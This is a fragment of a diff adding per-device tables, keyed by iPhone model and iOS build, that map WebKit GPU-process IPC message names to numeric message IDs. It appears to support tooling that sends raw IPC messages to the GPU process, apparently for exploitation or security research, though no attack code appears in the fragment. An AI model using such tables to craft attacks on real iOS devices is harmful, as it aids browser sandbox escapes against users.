0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone17,5_22G86": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,2_4_6_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone11,6_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + +"iPhone11,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone11,8_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone12,3_5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone12,5_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone12,8_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,1_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + "iPhone13,2_3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, +"iPhone13,3_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + RemoteRenderingBackend_CreateImageBuffer: 0x5ad, + RemoteRenderingBackend_ReleaseImageBuffer: 0x5bd, + RemoteRenderingBackend_ReleaseRenderingResource: 0x5c2, + RemoteRenderingBackendProxy_DidInitialize: 0x5a5, + SyncMessageReply: 0xbde, + WebProcessProxy_GPUProcessConnectionDidBecomeUnresponsive: 0xacb, + }, + + "iPhone13,4_22G90": { + GPUConnectionToWebProcess_CreateGraphicsContextGL: 0x29, + GPUConnectionToWebProcess_CreateRenderingBackend: 0x2b, + InitializeConnection: 0xbda, + ProcessOutOfStreamMessage: 0xbdc, + RemoteDisplayListRecorder_DrawGlyphs: 0x3cb, + RemoteDisplayListRecorder_FillRect: 0x3e0, + RemoteDisplayListRecorder_SetCTM: 0x3eb, + RemoteDisplayListRecorder_StrokeRect: 0x3ff, + RemoteGraphicsContextGL_AttachShader: 0x40d, + RemoteGraphicsContextGL_BindBuffer: 0x412, + RemoteGraphicsContextGL_BindTexture: 0x418, + RemoteGraphicsContextGL_BufferData0: 0x425, + RemoteGraphicsContextGL_BufferData1: 0x426, + RemoteGraphicsContextGL_BufferSubData: 0x427, + RemoteGraphicsContextGL_CompileShader: 0x433, + RemoteGraphicsContextGL_CreateBuffer: 0x440, + RemoteGraphicsContextGL_CreateProgram: 0x442, + RemoteGraphicsContextGL_CreateShader: 0x447, + RemoteGraphicsContextGL_CreateTexture: 0x448, + RemoteGraphicsContextGL_Finish: 0x470, + RemoteGraphicsContextGL_Flush: 0x471, + RemoteGraphicsContextGL_GetBufferSubDataInline: 0xf0f, + RemoteGraphicsContextGL_GetShaderSource: 0xf27, + RemoteGraphicsContextGL_LinkProgram: 0x47b, + RemoteGraphicsContextGL_PixelStorei: 0x483, + RemoteGraphicsContextGL_Reshape: 0x48e, + RemoteGraphicsContextGL_ShaderSource: 0x497, + RemoteGraphicsContextGL_TexImage2D1: 0x4a0, + RemoteGraphicsContextGL_UseProgram: 0x4ce, + RemoteGraphicsContextGL_VertexAttrib4f: 0x4d6, + RemoteGraphicsContextGLProxy_WasCreated: 0x409, + RemoteImageBuffer_PutPixelBuffer: 0x4e7, + RemoteImageBufferProxy_DidCreateBackend: 0x4e1, + RemoteRenderingBackend_CacheFont: 0x5a9, + 